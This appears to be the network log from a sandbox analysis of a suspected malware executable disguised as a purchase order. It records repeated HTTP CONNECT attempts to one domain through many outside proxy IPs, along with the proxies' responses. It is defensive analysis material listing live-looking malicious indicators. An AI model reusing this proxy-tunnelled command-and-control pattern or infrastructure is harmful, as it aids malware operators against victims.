Mar 11, 2024 16:39:48.201958895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.543790102 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.10	53071	107.173.255.183	1234	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.208669901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.10	52902	89.218.8.152	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.209352016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.10	53020	146.56.146.5	48384	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.209556103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.961520910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.10	52973	161.97.163.52	18693	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.236728907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.961574078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.048239946 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.10	52961	61.178.152.31	7302	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.242770910 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:48.618827105 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.10	52998	185.101.16.52	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.280064106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.10	53069	23.19.244.109	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.281999111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.10	52920	58.75.126.235	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.300426960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.10	53048	72.210.252.137	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.308208942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.10	52987	61.110.5.2	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.322500944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.062038898 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:48 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.10	52950	3.108.115.48	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.322504997 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.718725920 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:48 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.10	52361	168.196.158.15	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.322642088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.10	52217	197.243.20.186	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.322834015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.410829067 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.504911900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.504760981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:12.598275900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:24.613787889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:36.613775015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:00.613794088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:48.676178932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.10	53027	221.153.92.39	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.323002100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.10	53034	13.38.176.104	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.323052883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.620610952 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:48 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.10	53026	211.222.252.187	8197	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.328752995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.10	52992	216.10.242.18	30670	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.336503029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.098432064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.301558018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.614168882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.208152056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.801601887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.411043882 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:15.504405975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:33.598212957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.10	53008	103.231.78.36	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.340517998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.10	53004	170.187.225.102	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.395347118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.417277098 CET	830	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 15:39:50 GMT Server: Apache/2.4.57 (Ubuntu) Content-Length: 638 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.57 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.10	53051	121.182.138.71	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.397593975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.10	53028	47.242.15.120	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.399888039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.10	53063	125.141.139.60	5566	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:48.442840099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:07.589623928 CET	755	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 54 6f 72 20 61 73 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 6f 72 20 69 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 21 2d 2d 20 50 6c 75 73 20 74 68 69 73 20 63 6f 6d 6d 65 6e 74 2c 20 74 6f 20 6d 61 6b 65 20 74 68 65 20 62 6f 64 79 20 72 65 73 70 6f 6e 73 65 20 6d 6f 72 65 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 73 6f 20 20 20 20 20 20 49 45 20 77 69 6c 6c 20 62 65 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 70 6c 61 79 20 69 74 2e 20 43 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 20 20 20 20 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 2e 2d 2d 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>Tor is not an HTTP Proxy</title></head><body><h1>Tor is not an HTTP Proxy</h1><p>It appears you have configured your web browser to use Tor as an HTTP proxy.This is not correct: Tor is a SOCKS proxy, not an HTTP proxy.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.... Plus this comment, to make the body response more than 512 bytes, so IE will be willing to display it. Comment comment comment comment comment comment comment comment comment comment comment comment.--></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.10	53074	45.60.186.208	27488	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
